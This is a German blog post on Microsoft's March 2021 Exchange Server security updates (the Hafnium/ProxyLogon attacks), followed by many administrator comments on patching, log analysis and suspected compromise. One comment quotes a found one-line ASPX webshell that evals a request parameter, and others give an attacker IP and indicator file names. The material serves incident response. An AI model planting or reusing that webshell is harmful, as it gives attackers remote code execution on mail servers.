Exchange Server: Neue Sicherheitsupdates (März 2021)

Microsoft hat neue Sicherheitsupdate für Exchange Server 2013, 2016 und 2019 veröffentlicht. Die zeitnahe Installation der Sicherheitsupdates für die betroffenen Exchange Versionen wird seitens Microsoft empfohlen, da die Schwachstellen bereits ausgenutzt werden:

Da die aktive Ausnutzung verwandter Sicherheitslücken in freier Wildbahn bekannt ist (begrenzte gezielte Angriffe), lautet unsere Empfehlung, diese Updates sofort zu installieren, um sich vor diesen Angriffen zu schützen.

Zitat: Released: March 2021 Exchange Server Security Updates

Unter dem folgenden Links gibt es ebenfalls Informationen den Schwachstellen (Es handelt sich um eine “Remote Code Execution”-Schwachstelle):

Hier finden sich die Updates zum Download:

Die entsprechenden Updates werden auch zeitnah via Windows Update angeboten. In der Vergangenheit hat sicher allerdings gezeigt, dass die manuelle Installation der Updates weniger Probleme verursacht. Da es sich hier um mehrere Schwachstellen handelt, die bereits aktiv ausgenutzt werden, sollten die Updates schnellstmöglich installiert werden. Auch wenn es sich aktuell nur „um begrenzte gezielte Angriffe“ handelt, ist zu erwarten, dass dies schnell durch „automatisierte weitreichende Angriffe“ ersetzt wird.

Exchange Server: Neue Sicherheitsupdates (März 2021)

Update 07.03.21: Leider ist die Situation recht schnell eskaliert und es gibt zahlreiche erfolgreiche Angriffe auf Exchange Server. Wer bereits den Verdacht hat, dass sein Exchange Server erfolgreich angegriffen wurde und nicht sicher ist, wie er evtl. vorhandene Webshells wieder los wird, die Neuinstallation von Exchange und Betriebssystem ist ohne Datenverlust und ohne aktuelles Backup möglich:

Update 09.03.21: Es gibt mittlerweile auch Updates für ältere Exchange Server Installationen:

209 Gedanken zu „Exchange Server: Neue Sicherheitsupdates (März 2021)“

  1. Exchange 2019 CU7 in DAG via WSUS installiert –> Keine Probleme
    Exchange 2016 CU18 ohne DAG via SetupFile installiert –> Keine Probleme

    Antworten
  2. Also auf unseren Testservern lief die Installation sauber durch.
    Doofe Frage, ich weiß, aber ich bin noch nicht solange EXAdmin. Wo finde ich die Changelogs. Also was in dem Patch konkret an welchen Komponenten verändert wird und wo ich ggf. was sichern muss?

    Antworten
  3. Hallo in die Runde,

    für mich stellt sich die Frage, ob die Probleme schon bei CU17 und kleiner (EX2016) aufgetreten sind oder ob die Probleme nur bei CU 18 und CU19 auftreten? Geht Microsoft, dass man immer die neuesten CUs installiert hat?

    Ich freue mich über eine kurze Rückmeldung.

    Vielen Dank.

    Thomas Müller

    Antworten
  4. Mal ganz ehrlich, wie kann die Sicherheitslücke wirklich ausgenutzt werden, nach meinen Recherchen muss eine unverschlüsselte Verbindung auf Port 80 möglich sein, wenn nur Port 443 nach extern per FW veröffenlicht ist, ist man damit akut bedroht?!? Die Frage deshalb, man kann nicht alles sofort akt., sondern man muss priorisieren.

    Antworten
    • Kann das jemand übersetzen, ich verstehe es nicht?

      The initial attack requires the ability to make an untrusted connection to Exchange server port 443.

      Antworten
      • Nein, untrusted heißt hier einfach nur, dass Geräte auf den Exchange Zugriff haben, die eigentlich keinen haben sollten. Egal ob per Reverse Proxy/ACL, Firewall Regeln oder sonst was. Wenn dein ECP also frei aus dem Internet per 443 erreichbar ist, ist quasi jeder PC, Server etc im www eine untrusted connection.

        Antworten
        • das ist schon ungenau beschrieben bei MS. Meiner Aufassung nach würde das doch bedeuten, dass die TLS-verbindung nicht vertrauenswürdig ist.

          „untrusted connection“ bei HTTPS heißt, dass die Zertifikatsvalidierung nicht erfolgreich ist, z.B. wenn man mit einer IP auf den Server verbindet.

    • Geht es da wirklich nur um Verbindungen an die ecp, oder sind vielmehr alle Verbindungen, also auch der übliche Zugang an owa gemeint?

      Antworten
    • Hi Sebastian,

      das Problem ist das eine Exchange-HTTP-Assembly hier eine Sicherheitslücke hat, egal ob per Port 80 oder Port 443.
      Diese erlaubt einen File-Upload Richtung Exchange und du kannst danach eine schöne Web-Shell öffnen die lokale Admin-Rechte im Exchange-Cluster hat.

      Antworten
  5. Auf 2013er CU23 waren nach dem Update alle Exchangedienste deaktiviert. Auch andere Dienste u.a. IIS mussten angeglichen werden.
    Ich habe mit meinem anderen Mailserver verglichen.
    Danach lief es bisher ohne Probleme :/ wenn man es dann so nennen kann.

    Kennt eventuell jemand ein Script um die Dienste vorher/nachher vergleiche zu können?

    Antworten
    • Das ist nicht besonders schön aber es funktioniert:

      $SollExport=“c:\skripte\DiensteSoll.txt“
      $IstExport=“c:\skripte\DiensteIst.txt“

      #Dienste vor dem Update erfassen und in Datei exportieren
      Get-Service|select name,status,starttype|Out-File $SollExport

      #Dienste nach dem Update erfassen und in Datei exportieren
      Get-Service|select name,status,starttype|Out-File $IstExport

      #Dienste vergleichen
      $Dienste = @()
      $Dienste = Compare-Object $(Get-Content $SollExport) $(Get-Content $IstExport)
      Foreach ($Dienst in $Dienste)
      {
      $Ausgabe = $Dienst.inputobject + ($Dienst.sideindicator -replace(„=>“,“ Vorher“)) -replace(„<="," Nachher")
      $Ausgabe
      }

      Antworten
  6. Moin,

    patches auf Exchange 2016 CU19 im DAG ohne nennenswerte Probleme aufgespielt.

    Hat jemand mal die Log überprüft wie von Microsoft empfohlen?

    Ich konnte in den Logs zwei Interaktionen am 3. März 2021 der IP Adresse 86.105.18.116 feststellen, welche wohl 2 mal über Autodiscover versucht hat die CVE-2021-26855 zu prüfen oder sogar auszunutzen.

    Ich habe alles wie von Microsoft empfohlen überprüft. Keine weiteren Spuren. Keine Webshells gefunden, keine Dateien mit neueren Datum… trotzdem bin ich da etwas verunsichert.

    Antworten
    • „… Ich habe alles wie von Microsoft empfohlen überprüft…“

      Wo genau findet man eine Übersicht was alles geprüft werden soll wenn verdächtige Einträge in den Logs zu finden sind?

      Antworten
  7. Moin,

    sieht man das Update für Exchange 2013 nach der Installation in der Updateübersicht? Z.B. über den Befehl dism /online /get-packages oder muss ich woanders gucken?

    MfG Maik

    Antworten
  8. Hallo,

    ich habe das gerade installiert, seit dem geht OWA nicht mehr.
    X-ClientId: 28E797766EEA4448921B59EAAA79961D
    request-id 3246ba59-1bd1-4452-9b13-42fe2d9b8056
    X-OWA-Error System.Web.HttpUnhandledException
    X-OWA-Version 15.1.2176.9
    X-FEServer EXC01
    X-BEServer EXC02
    Date:04.03.2021 12:04:11
    InnerException: System.IO.DirectoryNotFoundException

    Antworten
  9. Hi, ich habe die .MSP so ausgeführt. Elevated war per Rechtsklick nicht auswählbar. Ich hätte es in einer Admin Eingabeaufforderung machen können, ok. Ich bin nun schon durch UpdateCas.ps1 und UpdateConfigFiles.ps, aber ohne positives Ergebnis.

    Gruß
    Volker

    Antworten
    • Guten Abend Volker,

      ach ja, das MSP normal ausführen… der typische Fehler. Ist mir damals am Anfang auch mal passiert und seitdem nie wieder nach dem ganzen Aufwand.

      Wenn du die Verzeichnisse wiederhergestellt hast, hast du mal geschaut ob die Pfade bei dir stimmen? Nur die Verzeichnisse neu erstellen bringt nichts wenn die Pfade falsch sind. Das war damals bei mir auch der Fall. Nachdem ich diese korrigiert hatte und ein IISReset gemacht hatte, lief es wieder.

      @all: Hat einer bei sich diese y.js vorgefunden? Laut Logs hat der Angreifer diese über POST bei mir ins ECP schieben können, aber ich konnte keine Spur der Datei finden. Ich hatte wohlgemerkt zwischenzeitlich den Patch eingespielt.

      Die Informationspolitik von Microsoft ist doch sehr bescheiden… keiner scheint genau zu wissen wozu diese .js da war.

      Ich habe nach den Webshells und co. geschaut, da war nichts davon auf dem Server. Antivirus laufen lassen. Auch nichts.

      Was ich bemerkenswert finde, ist das wenn ich den Befehl vom MS anwende um zu prüfen ob es den Breach gab, dann spuckt die Powershell mir 2 Versuche aus bezogen auf die Autodiscover. Nichts zur ECP. Ob das damit zu tuen hat das für den Zugriff auf die ECP der Angreifer sich schon die Zugangsdaten erschlichen hatte?

      Wenn ich aber selber tiefer in die Logs gehe, dann erscheint auch ,dass der Angreifer gleich danach diese y.js ins ECP Verzeichnis mittels POST geschoben hat.

      Anschließend wollte er wohl in /RPC/ rein, aber das hat die Firewall laut Logs wohl verhindert.

      Ich werde da irre muss ich sagen. Gehackt oder nicht gehackt, das ist hier die Frage :/

      Gruß

      Alex

      Antworten
      • Hallo Alex,

        bei uns konnten wir genau die gleichen Anhaltspunkte ausmachen. Die Versuche kamen hier ebenfalls von der IP 86.105.18.116 am 03.03.
        Mich hat es auch verrückt gemacht, dass der POST auf /ecp/y.js laut IIS Logs erfolgreich war (HTTP 200). Auch wir konnten die Datei aber nicht finden und auch die Suche nach den bekannten Webshells blieb bisher erfolglos.
        Laut dem folgenden Blog sind dies aber eben schon starke Hinweise für einen erfolgten Exploit:
        https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day/

        Zur Analyse kann ich noch die bereitgestellten Infos von huntresslabs empfehlen:
        https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers/

        Wir sind gerade immer noch dran und analysieren den Server und die Logfiles weiter. Es werden ja auch immer neue Details bekannt.

        Gruß
        Tobi

        Antworten
        • Hi Tobi,

          ja ,die Infos von Huntress habe ich auch gelesen. Leider deren beide Webinare verpasst weil ich im Mitigation Modus war.

          Fireeye ist jetzt auch mit einem Beitrag draußen siehe https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html

          Wie ich schon mehrmals geschrieben habe. Am besten ist es auf Verdacht den Server zu opfern. Sicherung vom Server zur späteren Spurensuche und dann weg damit.

          Damit kann vom Server keine weitere Gefahr mehr ausgehen. In ein paar Tagen wenn sich die Aufregung gelegt hat kann dann der betroffene Server in einer gesicherten Umgebung seziert werden nach weiteren Anhaltspunkten.

          Alle Passwörter der Konten die auf dem Server mal aktiv waren sofort ändern.

          Vorbereitungen treffen eventuell bei allen Nutzern die Passwörter zu ändern.

          Ich selber vermute, dass die Angriffe durch die IP 86.105.18.116 nur die Prüfung auf Möglichkeit des Exploits war, da ja danach keine weiteren Spuren zu finden waren. Aber wie gesagt im Zweifel lieber den Server verlieren, als das interne Netz weiter zu riskieren.

          Gruß

          Alex

        • Hey Tobi,

          schau mal bitte ganz nach unter im Verkauf auf meinen neusten Post von heute.

          Es gibt keine guten Nachrichten für die die von der IP 86.105.18.116 Besuch hatten.

          Es waren wohl keine Versuche, sondern Exploits :(

          Gruß

          Alex

  10. Hatte den Fehler bei Exchange 2016 CU18, dass sich 21 dll`s nicht aktualisieren ließen (z.B. Microsoft.Exchange.OData.dll ..).
    Durch das jeweilige Umbenennen der im Setup-Prozess angezeigten, problematischen dll`s lief das Setup schrittweise durch.
    Die Dienste wurden danach wieder ohne Probleme gestartet. Auch nach einen Neustart des Servers liefen alle Dienste ohne Probleme.

    Gruß, Rob.

    Antworten
    • CMD Rechtsklick -> als Administrator ausführen, ins entsprechende Verzeichnis navigieren und die *.msp-Datei in diesem CMD-Fenster ausführen.

      Antworten
  11. Hallo zusammen,

    hat jemand eine Ahnung was zu tun ist wenn das Microsoft Skript Warnungen generiert hat und man auch geänderte Dateien gefunden hat.

    Beste Grüße

    Antworten
    • Würde mich auch sehr interessieren. Das ist mir bis jetzt noch nirgends klar hervorgegangen. /ECP und /OWA sind bei uns eben nur mittels 2FA App. Proxy erreichbar, Active Sync, MAPI und EWS jedoch direkt.

      Antworten
      • Sobald Port 443 (oder 80) auf den Exchange gehen von außen, seid ihr angreifbar. Wenn die Authentication für ALLE Services vorab ein Proxy übernimmt, seid ihr kaum angreifbar, dann bräuchte der Angreifer einen Login.

        Antworten
  12. Exchange 2019 CU8 DAG. Installation lief problemlos durch.

    Allerdings lief die Installation auf dem zweiten DAG-Member, nachdem der erste bereits aktualisiert war, relativ schleppend (Zertifikatsprüfung war deaktiviert) + konnte ich feststellen, dass er die Exchange-Dienste nicht beendet hat / beenden konnte *schwitz* Installation lief dennoch durch und Probleme konnten nach Neustart nicht beobachtet werden.

    Antworten
    • Microsoft gibt nur Sicherheitspatche für die letzten beiden CU‘s raus und das wären 18 & 19. Dein System mit CU13 ist veraltet und sollte zeitnah hochgezogen werden. Da sind so einige Lücken/Schwachstelle die mit den folgenden CU‘s behoben werden.
      Also plane mal ein paar Stunden für die CU‘s bei dir ein da auch Zwischenschritte notwendig sind und nächste Woche kommt das letzte CU20 raus.

      Mfg Paul

      Antworten
  13. ich hab bei uns die LOG Einträge gefunden, also backup vom 03.03 restoren, patch einspielen und im anschluss versuchen die Mails usw. mergen oder was ??

    DateTime AnchorMailbox
    ——– ————-
    2021-03-03T07:42:39.914Z ServerInfo~a]@Exchange.contoso.de:444/autodiscover/autodiscover.xml?#
    2021-03-03T11:13:46.697Z ServerInfo~a]@Exchange.contoso.de:444/autodiscover/autodiscover.xml?#
    2021-03-03T19:26:42.601Z ServerInfo~a]@Exchange.contoso.de:444/autodiscover/autodiscover.xml?#
    2021-03-04T18:00:58.370Z ServerInfo~a]@Exchange.contoso.de:444/autodiscover/autodiscover.xml?#

    Antworten
    • Also die Backups zu holen kann nicht schaden.

      Du solltest aber bei dir in den ECP Logs schauen, dass ist interessanter. Das Tool von Microsoft zeigte bei mir auch nur die autodiscover.xml.

      Als ich aber die ECP Logs durchgegangen bin zu denselben Timstamps wie die autodiscover.xml konnte ich mehrere POST in die /ECP/ und /RPC/ sehen. bei ECP war es eine y.js wie bei viele auch.

      Danach verlor sich die Spur bei mir. Von der Datei keine Spur. Habe aber erst danach gesucht, nachdem ich den Patch eingespielt hatte. Keine Webshells in den Verzeichnissen wie bei anderen. Das MS Tools hat auch nicht angeschlagen für LSASS Dumps, Proc und co.

      Trotzdem habe ich die Kiste geopfert und alle Passwörter der Benutzer der Kiste abgeändert.

      Wenn du einen DAG hast, dann sollte das Restore nicht schlimm sein. Betroffenen Server aus dem DAG im Wartungsmodus schalten und anschließend entfernen. Backup aktivieren, patchen. Danach das Backup in den DAG zurück führen und die Emaildiskrepanzen werden synchronisiert.

      Dein Backup ist vom 03.03? Du glücklicher… mein letztes Vollbackup war von Mitte Dezember vor dem CU19. Ich durfte also CU19, Patch, Windows Update erneut einspielen. Dazu noch das Problem mit der Vertrauenseinstellung im Netzwerk da es länger als 30 Tage gewesen ist. Das nächste geplante Vollbackup wäre vor CU20 gewesen, also in wenigen Tagen :/

      Antworten
        • Hi Toni,

          ich fürchte dir bleibt keine Wahl als manuell die Logs zu ECP im Logverzeichnis zu prüfen.

          Das Script TestHafnium hat dir ja Timestamps verraten wo ihr getroffen wurdet. Genau diese Timestamps und etwas danach muss du dir anschauen auf diese POST Befehle ins ECP Verzeichnis.

          Am besten du schaust auch nach den Agents die die Verbindung aufgebaut haben.

          Infos dazu gibt es im sehr guten Post der Firma Veloxity: https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

          Wenn noch nicht geschehen alle IPs aus dem Post von Veloxity in der Firewall sperren. Es kursieren aber noch andere, die nicht in der Liste sind. Ich bin leider noch nicht dazu gekommen eine Liste anzufertigen. Wenn ich es schaffe, dann würde ich heute Nachmittag eine vorläufige hier rein-setzen.

          Wen du eine Sophos UTM nutzt mit der „Client mit schlechten Ruf“ abfrage, dann kann man auch hoffen, dass Sophos gerade nicht schläft und fleißig diese Liste mit den IPs kontinuierlich füttern wird.

          Vor dem Hintergrund, dass die Ausnutzung der Exploits trivial ist, ist anzunehmen, dass in den kommenden Stunden und Tagen noch weitere etliche IP Adressen auftauchen werden die nach Server mit der ersten Schwachstelle suchen. Wie ein Sicherheitsforscher gestern meinte, bei den Angreifern herrscht „YOLO“, also es wird aus allen Rohren in allen Richtung gefeuert.

          Das muss jetzt aber nicht zu unserem Nachteil sein. Exploits heißen so, weil diese eben ausgenutzt werden müssen. Wenn Firewall und co aktiv sind, dann können die automatisierten Angriffe gestört werden. Das ist auch wohl bei uns vielleicht passiert. Das verschafft dann die notwendige Zeit um eventuell wichtige Daten aus dem Server noch zu retten bevor diese in Quarantäne gehen sollten. Die Angreifer werden sich mit Sicherheit eher auf die Server fokussieren, wo ihre Exploits zuerst komplett durchgelaufen sind.

          Um zu prüfen ob Procdump oder andere Tools schon benutzt wurden um Netzwerksicherheitsdaten zu ziehen kannst du hier nach Skripten schauen: https://twitter.com/d1vious/status/1366937178379542528?s=21

          Je nachdem wie groß eure Infrastruktur ist und wie sensibel wäre es an der Zeit den Server vorerst zu isolieren bis eure Recherchen abgeschlossen sind.

          In meinem Fall habe ich den alten Satz „Better Safe than Sorry“ angewendet. Server aus DAG. Komplettsicherung vom Server für Spurensicherung. Server aus Hypervisor gelöscht. Letztes Full Backup aus Dezember auf Hypervisor und dann das Backup auf aktuellen Stand inkl. Patches gebracht. Danach das Backup ins DAG zurück.

        • Hi Toni,

          also ich hatte dir heute morgen geantwortet, aber beim Beitrag stand dann, dass er in der Prüfung ist.

          Nach einem Reload der Webseite war er nicht mehr zu sehen.

          Vielleicht sieht ihn Frank aber und kann diesen freischalten, oder wenn nicht mir sagen woran es lag, dass dieser blockiert wurde.

          Ich hatte eigentlich nur Links zu anderen Webseiten gepostet wo du mehr Informationen bekommst.

          Suche mal nach Volexity und deren Blogeintrag vom 2. März 2021. Da steht viel drin, die benutzten Identifizierungen der Clients, IP Adressen die aktiv angreifen und so weiter.

          Prüfe die Logs vom ECP manuell… zu den Zeitstempeln wo das Skript ausgeschlagen hat. Da sollten POST von einer y.js Datei und weitere Aktionen zu sehen sein.

          In meinen vorherigen Post war ein Link zu Twitter wo man verschiedene Skripte runterladen konnte um festzustellen ob es zur Nutzung von weiterer Software auf dem Server gekommen ist um Sicherheitsdaten abzugreifen.

          Server in Quarantäne. Backups raus-holen und diese für das Ersetzten des Servers vorbereiten.

          Wenn ich es schaffe kommt heute später eine Liste von IP Adressen die ich aus den ganzen Posts im Internet als angreifend ermitteln konnte.

        • Alex,danke für deine ausführlichen Antworten.Glücklicherweise gab es keine positive Ausgabe bei uns aus dem Skript.
          Ich drücke euch allen die Daumen

  14. Musste jemand auch aus den Backups restoren?

    Die Lücken sind so übel, dass ich nichts dem Zufall überlassen wollte und obwohl ich nur Spuren von 2 CVE-26855 Versuche mit einer y.js in den Logs gefunden habe (Dateien aber nicht), habe ich die Kiste geopfert. Keine Lust auf versteckte Webshells oder so.

    Das war ja echt ganz große Klasse von Microsoft dieses mal… den Patch raus-bringen während die Kunden längst befallen sind… und der Patch ist wohl am 12. Februar 2021 fertig gewesen wenn man sich die Datei anschaut… Hätte ja nicht geschadet den früher freizugeben.

    Na ja, jetzt ist erstmal Feierabend. Hoffen wir mal, dass die Patches halten… hat jemand Versucht die Schwachstellen wie hier mit Nmap nach dem Patchen zu prüfen? https://github.com/GossiTheDog/scanning Bei mir funktioniert es nicht sauber. Er meldet einen Server als möglich angreifbar obwohl der wie empfohlen (Über CMD mit Admin) gepatcht wurde.

    Mfg

    Alex

    Antworten
  15. achja,
    bei den anderen 3 Tests kam jeweils nix raus,
    alle anderen Verzeichnisse außer der Autodiscover wurden nicht gelistet im SCAN.

    Antworten
  16. Hallo zusammen,
    etwas OT: die Patches schliessen ja die Lücke, vor die das BSI aktuell warnt.
    Bei uns läuft noch ein Exchange 2010 mit RU31, dieser sollte ja (jedenfalls laut des BSI) damit safe sein, oder verstehe ich da was faslch? Denn das RU31 ist vom Januar.

    Antworten
  17. Hallo,
    es hat nun doch etwas gedauert, da wir mehrere Ansätze verfolgt haben.
    Letztendlich war das beste

    – KB deinstallieren
    -CU19 wieder als unbeaufsichtigte Installation installieren
    – KB ( diesmal mit elevated Shell ) wieder installieren.

    Alles sehr zeit intensiv.

    Wieder was gelernt. ich werde noch vorsichtiger sein ;)

    Gruß
    Volker

    Antworten
  18. Für alle die wie ich so unklug waren die ECP von außerhalb zugänglich zu machen und Sophos UTM nutzen.

    Hier gibt es einen ganz guten Artikel wo man in 2 Minuten die ECP auf das interne Netz beschränken kann ohne etwas an den Exchange Servern zu machen.

    @Frank: Vielleicht eine Idee dies in deinen tollen How Tos mit zu integrieren.

    https://www.hasslinger.com/index.php/de/blog/sophos-sg-utm-konfiguration-der-waf-fuer-exchange-2016-2019-owa-activesync-und-autodiscovery

    Antworten
    • Mich würde ja interessieren wie sich verhält, wenn man ECP per IP Filter im IIS beschränkt hat. So mache ich das nämlich, weil unsere UTM keine funktionierende Let’s Encrypt Implementierung bietet.

      Antworten
      • Kann ich dir leider nicht sagen.

        Wir haben jetzt erstmal /owa/ /ecp/ und /rpc/ nach außen blockiert. Leider scheinen die Angreifer aber auch andere Pfade zu nutzen.

        Antworten
        • Ich habe jetzt zusätzlich mal OWA nur auf IP Blocks aus Deutschland beschränkt im IIS. Ziemlicher Aufwand aber ist im Moment wohl eine mögliche Lösung für uns.

  19. Unsere Kiste ist wohl ziemlich sicher befallen, auch wenn ich es noch nicht wahrhaben möchte. Leider zu spät aktualisiert (gestern Nachmittag).

    RedirSuiteServerProxy.aspx in %PROGRAMFILES%\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
    und auch eine JQQXPZ.aspx mit
    „http://f/function Page_Load(){eval(Request[„Ananas“],“unsafe“);}“

    Beide Files erstellt am 03. März gegen 05:00 Uhr.

    Ohje. „Schönes“ Wochenende allen hier.

    Antworten
    • Tut mir Leid für dich :(

      Am besten den Server ausm Backup wiederherstellen.

      Ich bin mir nicht sicher wie verbreitet diese Shell mit „Ananas“ als Kennung ist. Huntress hat verlauten lassen, dass es 2 Arten von Webshells nach Kennung gibt… die mit zufälligen Buchstabenkombinationen und die mit richtigen Wörtern. Richtige Wörter könnten ein Anzeichen einer Kategorisierung für die Einstuffung der Firma als Ziel sein (lohnenswert, sehr lohnenswert und so weiter). Aber das ist aktuell noch Spekulation.

      Antworten
    • Die RedirSuiteServerProxy.aspx Datei haben wir auf beiden Mailservern auch, aber die Datei ist gar nicht aufgelistet unter den möglichen eingeschleusten?

      Unterschied zu euch, sie wurde nicht neu erstellt bei uns.

      Antworten
  20. Habe ebenso WebShells wie Markus berichtet. Neuester Patch mittlerweile installiert.

    Kann ich die einfach löschen und dann wieder alles hochfahren?

    Oder komplett neu aufsetzen oder Backup von Ende Januar einspielen (angeblich soll es da ja schon erste Angriffe gegeben haben?). Danke für einen Rat!

    Antworten
    • Aus Backup wiederherstellen dürfte sicherer sein.

      Du weiß ja nicht ob es nur WebShells gewesen sind und was über diese alles so getrieben wurde.

      Außerdem kann nicht ausgeschlossen werden, dass Webshells in normale Exchange Dateien eingefügt würden. Diese Webshells sind ja nur eine Zeile Code…

      Schlägt das Hafnium Skript bei den anderen Schwachstellen auf?

      Antworten
  21. Tipp zum Skript von Microsoft mit dem URL Rewrite von der Seite. Wir mussten die IDs anpassen im Powershell, damit wir es ausführen konnten. Bei uns lautete der Uninstall Path GUID zum IIS Rewrite nicht {9BCA2118-F753-4A1E-BCF3-5A820729965C}, sondern {128E7B46-BFAF-48B5-B00B-D9E349FE9EFF}.

    Danach lief das Skript durch. Bisher aufgrund des aktuellen Skripts zum Glück (noch) kein Grund zur Sorge. Patch direkt installiert nach Veröffentlichung auf heise.

    Antworten
    • Hi Martin,

      danke für die Info.

      Wo hast du die GUID gefunden?

      Ich kriege ein Fehler bei der Installation. Hast du den Exchange im Wartungsmodus gehabt als du das Skript installiert hast?

      Hast du das Rewrite Modul vorher schon installiert, oder es vom Skript machen lassen? Welche Shell hast du benutzt? die Exchange?

      Gruß

      Alex

      Antworten
      • Hi,

        einfach im HKLM Pfad gesucht nach dem IIS Rewrite Modul. Dazu hab ich es natürlich vorher manuell installiert. Daher dann eben auch die GUID. Kein Wartungsmodus. Hab das IIS Rewrite Modul installiert, einen iisreset gemacht, dann den Zusatz laufen lassen. Einfach die nächstbeste Powershell aus dem Startmenü, war mir egal :)
        Bisher habe ich nichts weiter gemerkt.

        Antworten
        • Hi Martin,

          danke für die Infos.
          Der Trick war die separate Installation vor dem Skript.
          Dann lief es auch problemlos durch.

          Gruß

          Alex

  22. Hallo zusammen,

    bin nach der Anleitung https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log mal alles bei uns durchgegangen und bin dann hier bei %PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp directory auf komische Einträge gestoßen..Auf unserem ersten Mailserver sind die Temp Einträge leer und auf dem zweiten stehen komische Einträge drin..Plus eine RDP Verknpüfung..Alles rausgehauen an der Stelle, Einträge vom 04.03 mit der gleichen Uhrzeit..Patches sind installiert

    Antworten
    • Also davon war bis jetzt in den Reports keine Rede.

      Habe aber auch Dateien bei uns in den Ordner gefunden. Datiert gestern Abend (so 23:35) als ich um 02:20 geschaut hatte. Heute morgen waren es dann mehr und alle mit Zeitstempel 03:40… die Dateien hatten auch alle andere Endungen. Gleiche Anfangsbuchstabenkombination.

      Ich bin leider zu unerfahren in Exchange um zu sagen ob das normales Verhalten ist oder nicht.

      Wir haben die Dateien aufm Server drauf der aktuell mit dem Internet verbunden ist. Auf dem anderen ist das Verzeichnis leer.

      Ich habe das Verzeichnis aus Vorsicht soeben auch geleert.

      Exchange Server sind seit dem 03. gepatcht.

      Antworten
  23. Hallo, auch auf die Gefahr sofort gesteinigt zu werden, wir haben noch einen EXC 2019 CU5, ich habe gestern den Zugriff von außen gesperrt, reicht das ?
    und ich kann im VLSC nur CU8 runterladen, das meckert aber rum, es kann nicht auf die Registrierung zugreifen, wieso stellt MS nicht die anderen CU6 und CU7 zur Verfügung, sollte doch klar sein das viele nicht aktuell sind ?

    Antworten
    • Ob das reicht wird davon abhängen ob ihr schon befallen worden seit oder nicht.

      Hafnium Tools über den Server laufen lassen, Verzeichnisse des IIS überprüfen… da liegt einiges vor dir.

      Wir haben den 7. und die flächende Angriffe laufen seit dem 27.02. Wenn du also erst jetzt den Server vom Internet genommen hast, dann ist da ein Risiko.

      Uns hat es beispielsweise wohl am 3. um 4H45 und um 10H35 getroffen. Zumindest laut den Logs Auffäligkeiten. Shells und co konnte ich keine finden, weitere Spuren auch nicht. Ich habe den Server trotzdem geopfert aus Vorsicht.

      Patches waren bei uns am 3. um 20H00 fertig installiert. Der betroffene Server wurde am 4. aus Backup wiederhergestellt. Seitdem überwache ich mit dem Hafnium Tool in regelmäßigen Abständen die Logs.

      Ich würde am liebsten auch die Kiste vom Internet nehmen, aber dann hat ja ein Teil der Firma kein Zugriff auf seine Emails. Die Hälfte nutzen Macs und ActiveSync :(

      Jetzt kann man wirklich nur hoffen, dass der Patch auch wirklich die Lücken geschlossen hat. Ich habe /ecp und /owa sowie /rpc/ vom Internet abgeschirmt. Aber soviel ich sehen konnte versuchten die Angreifer die Daten auch in andere Verzeichnisse abzulegen, zumindest laut einigen Artikeln.

      Antworten
  24. Hallo,
    Ich habe den Patch erfolgreich eingespielt: 3x 2node-DAG Exchange 2016 CU 19, 1x 3node-DAG Exchange 2016.
    Verlief ohne Probleme.
    Test-ProxyLogon.ps1 lieferte ebenfalls keine Ergebnisse, was in diesem Fall ja erfreulich ist.

    Eine Frage an die Runde:
    Wir nutzen als Reverse Proxy vor unseren Exchange Servern jeweils Citrix Netscaler (bzw. ADC). Für jeden vServer bzw. Exchange Direcotry (OWA, ECP, etc.) haben wir auch einen Authentication Server (heisst AAA bei Citrix) konfiguriert. Dieser übernimmt die Authentifizierung der User per LDAP. Erst nach erfolgreicher Authentifzierung gibt Netscaler die Anfrage nach hinten zu den Exchange Servern.
    Sehe ich das also richtig, dass in diesem Fall gar keine „untrusted connection“ den Reverse Proxy passieren kann.
    Danke für euer Feedback.
    Grüsse
    Tim

    Antworten
    • Hallo, wir setzen ebenfalls einen Reverse Proxy ein (HAProxy mit SSL-Bridging – allerdings wird hier nicht authentifiziert wie bei Tim). Wir konnten bei 18 verschiedenen Systemen keinen einzigen Angriff feststellen. Unsere Systeme waren alle am 3.3. um 23H00 erfolgreich gepatcht.
      Kann jemand Details nennen zur Aussage von Microsoft („The initial attack requires the ability to make an untrusted connection to Exchange server port 443. „) nennen? Ist jemand betroffen, der ebenfalls HAproxy mit Bridging einsetzt?
      Grüsse, Tobi.

      Antworten
  25. Exchange 2013 DAG erfolgreich gepatcht.
    Ich finde keine .js oder .aspx Dateien, die in den letzten 2 Wochen erstellt/modifiziert wurden.
    Die Skripte von MS, die die Logs durchsuchen finden auch nichts.
    Die Logs vom Loadbalancer muss ich noch durchsuchen.
    An der Firewall (auf die schnelle) auch nichts auffälliges gefunden.
    Glück gehabt ?!
    Wie kann ich denn gezielt nach möglichen Webshells suchen?

    Danke und Grüße
    MG

    Antworten
  26. Mit dem Microsoft Safety Scanner kann nach den Webshells gesucht werden:
    https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download

    Zitat MS:

    Microsoft Support Emergency Response Tool (MSERT) to scan Microsoft Exchange Server

    Microsoft Defender has included security intelligence updates to the latest version of the Microsoft Safety Scanner (MSERT.EXE) to detect and remediate the latest threats known to abuse the Exchange Server vulnerabilities disclosed on March 2, 2021. Administrators can use this tool for servers not protected by Microsoft Defender for Endpoint or where exclusions are configured for the recommended folders below.

    To use the Microsoft Support Emergency Response Tool (MSERT) to scan the Microsoft Exchange Server locations for known indicators from adversaries:

    Download MSERT from Microsoft Safety Scanner Download – Windows security. Note: In case you need to troubleshoot it, see How to troubleshoot an error when you run the Microsoft Safety Scanner.
    Read and accept the End user license agreement, then click Next.
    Read the Microsoft Safety Scanner Privacy Statement, then click Next.
    Select whether you want to do full scan, or customized scan.

    Full scan – The most effective way to thoroughly scan every file on the device. It is the most effective option although it might take a long time to complete depending on the directory size of your server.
    Customized scan – This can be configured to scan the following file paths where malicious files from the threat actor have been observed:
    %IIS installation path%\aspnet_client\*
    %IIS installation path%\aspnet_client\system_web\*
    %Exchange Server installation path%\FrontEnd\HttpProxy\owa\auth\*
